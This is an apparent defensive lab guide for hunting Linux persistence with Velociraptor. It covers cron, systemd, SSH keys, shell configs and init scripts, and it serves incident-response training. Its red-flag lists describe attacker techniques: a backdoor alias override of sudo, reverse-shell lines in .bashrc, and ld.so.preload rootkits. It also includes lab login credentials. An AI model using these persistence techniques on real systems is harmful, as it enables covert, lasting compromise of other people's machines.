Lab 8.3 — Persistence Hunt

Lab Overview

The Scenario

An incident responder found and removed a cryptominer from the endpoint velociraptor-client. The endpoint was patched and the initial exploit vector closed. However, three days later, the cryptominer returned. The attacker had installed multiple persistence mechanisms that the initial remediation missed.

Your job: Use Velociraptor to conduct a comprehensive persistence hunt — check every common persistence location on the endpoint and find ALL the mechanisms the attacker installed. There are multiple planted persistence mechanisms across different categories.

Part 1: Cron-Based Persistence

Step 1: Log Into Velociraptor

• URL: Provided via the "Open Lab" button (port 8889)
• Username: admin
• Password: cyberblue

Navigate to the connected client.

Step 2: Collect All Cron Jobs

1. Create a new collection using artifact: Linux.Sys.Crontab
2. Launch and review results

Cron jobs can exist in multiple locations:

• /etc/crontab — system-wide cron table
• /etc/cron.d/ — drop-in cron files
• /etc/cron.daily/, /etc/cron.hourly/ — periodic directories
• /var/spool/cron/crontabs/ — per-user cron tables

Step 3: Analyze Cron Results

For each cron entry, evaluate:

• Is the schedule unusual? (every minute, every 5 minutes = beaconing)
• Is the command path suspicious? (/tmp/, hidden directories)
• Is output suppressed? (> /dev/null 2>&1 = hiding evidence)
• Is the cron file owned by an unexpected user?

Document each suspicious cron entry:

CRON PERSISTENCE FINDINGS
═════════════════════════
Entry 1:
  Location: [file path]
  Schedule: [cron expression — human readable]
  Command: [full command]
  Suspicious Indicators: [list red flags]
  Risk: [Critical / High / Medium / Low]

Click to enlarge

Part 2: Systemd Service Persistence

Step 4: Collect Systemd Services

Create a new collection to enumerate systemd services. Look at:

• /etc/systemd/system/ — admin-installed services
• /lib/systemd/system/ — package-installed services
• /run/systemd/system/ — runtime services

Step 5: Identify Suspicious Services

Red flags for systemd services:

• Service name mimics legitimate services but is slightly different (e.g., sshd-helper, cron-update)
• ExecStart points to hidden directories or /tmp/
• Restart=always ensures the malware restarts if killed
• WantedBy=multi-user.target ensures it starts on boot
• Service file was recently created (check timestamps)

Document suspicious services:

SYSTEMD PERSISTENCE FINDINGS
═════════════════════════════
Service 1:
  Unit File: [path]
  Service Name: [name]
  ExecStart: [command]
  Restart Policy: [always/on-failure/no]
  WantedBy: [target]
  Suspicious Indicators: [list red flags]
  Risk: [Critical / High / Medium / Low]

Part 3: SSH Key Persistence

Step 6: Collect SSH Authorized Keys

Collect authorized SSH keys from all user accounts:

• /root/.ssh/authorized_keys
• /home/*/.ssh/authorized_keys

Step 7: Analyze SSH Keys

For each authorized key found, evaluate:

• Does the key comment match a known admin? (e.g., admin@company.com vs. kali@attack-box)
• Is the key type appropriate? (RSA, ED25519 — check for abnormally short key lengths)
• When was the key added? (correlate with compromise timeline)
• Are there multiple keys for a single user? (unexpected extras may be attacker-added)

Document suspicious keys:

SSH KEY PERSISTENCE FINDINGS
════════════════════════════
Key 1:
  Location: [authorized_keys path]
  Key Type: [RSA/ED25519/etc]
  Key Comment: [email/identifier]
  Suspicious Indicators: [list red flags]
  Risk: [Critical / High / Medium / Low]

Part 4: Shell Configuration Persistence

Step 8: Collect Shell Configs

Collect and examine:

• /root/.bashrc
• /root/.bash_profile
• /root/.profile
• /home/*/.bashrc
• /etc/profile
• /etc/profile.d/*.sh
• /etc/bash.bashrc

Step 9: Identify Backdoor Commands

Attackers add lines to shell configs that execute on every login:

• Reverse shell one-liners appended to .bashrc
• Environment variable modifications that redirect commands
• Alias overrides (e.g., alias sudo='backdoor && sudo')
• Source commands that load malicious scripts

Document any suspicious entries:

SHELL CONFIG PERSISTENCE FINDINGS
══════════════════════════════════
Entry 1:
  File: [config file path]
  Line: [suspicious line content]
  Purpose: [what this line does]
  Trigger: [when does this execute?]
  Risk: [Critical / High / Medium / Low]

Part 5: Init Scripts and Additional Locations

Step 10: Check Init Scripts

Legacy init scripts in /etc/init.d/ may also contain persistence:

• Scripts that don't match installed packages
• Recently modified scripts with backdoor commands appended

Step 11: Check Additional Persistence Vectors

Also investigate:

• /etc/rc.local — runs commands at boot
• /etc/ld.so.preload — shared library preloading (rootkit technique)
• at jobs — one-time scheduled tasks (atq to list)
• Kernel modules — loaded modules (lsmod equivalent)

Click to enlarge

Part 6: Compile the Persistence Report

Step 12: Create the Complete Report

PERSISTENCE HUNT REPORT
═══════════════════════
Endpoint: [hostname]
Client ID: [Velociraptor client ID]
Investigation Date: [today's date]
Analyst: [your name]
Trigger: Cryptominer returned after remediation

SUMMARY
───────
Total persistence mechanisms found: [count]
Categories affected: [Cron / Systemd / SSH / Shell Config / Init / Other]
Highest risk finding: [description]

DETAILED FINDINGS
─────────────────
[Number each finding sequentially]

#1 — [Finding Title]
  Category: [Cron / Systemd / SSH Key / Shell Config / Init Script]
  Location: [exact file path]
  Content: [malicious entry/configuration]
  Risk Level: [Critical / High / Medium / Low]
  Remediation: [specific steps to remove this persistence]

#2 — [Finding Title]
  ...

REMEDIATION PLAN
────────────────
Priority Order:
1. [Most critical — remove first]
2. [Second priority]
3. [Third priority]
...

VERIFICATION STEPS
──────────────────
After removing all persistence, verify by:
1. Reboot the endpoint
2. Re-run all Velociraptor collections
3. Confirm no malicious entries remain
4. Monitor for 24 hours for re-infection

Deliverable Checklist

Before completing the lab, ensure you have:

• Cron Persistence — checked all cron locations and documented findings
• Systemd Persistence — enumerated services and identified suspicious units
• SSH Key Persistence — reviewed all authorized_keys files
• Shell Config Persistence — examined bashrc, profile, and related files
• Init/Additional Persistence — checked rc.local, init.d, and other vectors
• Complete Report — all findings documented with risk levels and remediation steps

What's Next

In Lab 8.4 — SIEM to Endpoint, you'll combine SIEM analysis with endpoint investigation. Starting from a Wazuh alert, you'll pivot to Velociraptor to collect the full forensic picture — building the bridge between detection and investigation.